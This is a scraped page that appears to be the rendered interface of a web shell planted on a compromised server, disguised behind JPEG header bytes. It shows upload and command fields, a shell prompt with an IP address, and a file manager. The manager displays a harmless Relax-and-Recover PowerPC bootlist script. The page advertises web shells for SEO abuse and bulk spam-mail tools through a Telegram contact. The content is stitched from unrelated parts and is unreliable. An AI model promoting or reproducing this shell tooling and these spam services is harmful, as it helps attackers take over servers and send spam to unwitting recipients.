����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# THIS SCRIPT CONTAINS PPC64/PPC64LE SPECIFIC
#################################################################
# Run bootlist only in PowerVM environment
# which means not in BareMetal(PowerNV) or KVM (emulated by qemu)

# Exit if you are not running in PowerVM mode.
if grep -q "PowerNV" /proc/cpuinfo || grep -q "emulated by qemu" /proc/cpuinfo ; then
    return
fi

# Look for the PPC PReP Boot Partition.
part_list=$( awk -F ' ' '/^part / {if ($6 ~ /prep/) {print $7}}' $LAYOUT_FILE )

# All the possible boot devices
boot_list=()

for part in $part_list ; do
    LogPrint "PPC PReP Boot partition found: $part"

    # Using $LAYOUT_DEPS file to find the disk device containing the partition.
    bootdev=$(awk '$1==PART { print $NF}' PART=$part $LAYOUT_DEPS)

    # If boot device cannot be found in $LAYOUT_DEPS file,
    # then define bootdev by removing numeric number at the end of $part
    if [[ -z $bootdev ]]; then
        bootdev=`echo $part | sed -e 's/[0-9]*$//'`
    fi

    LogPrint "Boot device disk is $bootdev."

    # Test if $bootdev is a multipath device
    # If yes, get the list of path which are part of the multipath device.
    # Limit to the first 5 PATH (see #876)
    if dmsetup ls --target multipath | grep -w ${bootdev#/dev/mapper/} >/dev/null 2>&1; then
        LogPrint "Limiting bootlist to 5 entries as a maximum..."
        boot_list+=( $(dmsetup deps $bootdev -o devname | awk -F: '{gsub (" ",""); gsub("\\(","/dev/",$2) ; gsub("\\)"," ",$2) ; print $2}' | cut -d" " -f-5) )
    else
        # Single Path device found
        boot_list+=( $bootdev )
    fi
done

if [[ ${#boot_list[@]} -gt 5 ]]; then
    LogPrint "Too many entries for bootlist command, limiting to first 5 entries..."
    boot_list=( ${boot_list[@]:0:5} )
fi

if [[ ${#boot_list[@]} -gt 0 ]]; then
    LogPrint "Set LPAR bootlist to '${boot_list[*]}'"
    bootlist -m normal "${boot_list[@]}"
    LogPrintIfError "Unable to set bootlist. You will have to start in SMS to set it up manually."
fi

# vim: set et ts=4 sw=4:

Filemanager

Name Type Size Permission Actions
540_check_lilo_path.sh File 1.37 KB 0644
540_check_yaboot_path.sh File 1.87 KB 0644
635_install_yaboot.sh File 967 B 0644
640_install_lilo.sh File 468 B 0644
660_install_grub2.sh File 10.16 KB 0644
680_install_PPC_bootlist.sh File 1.98 KB 0644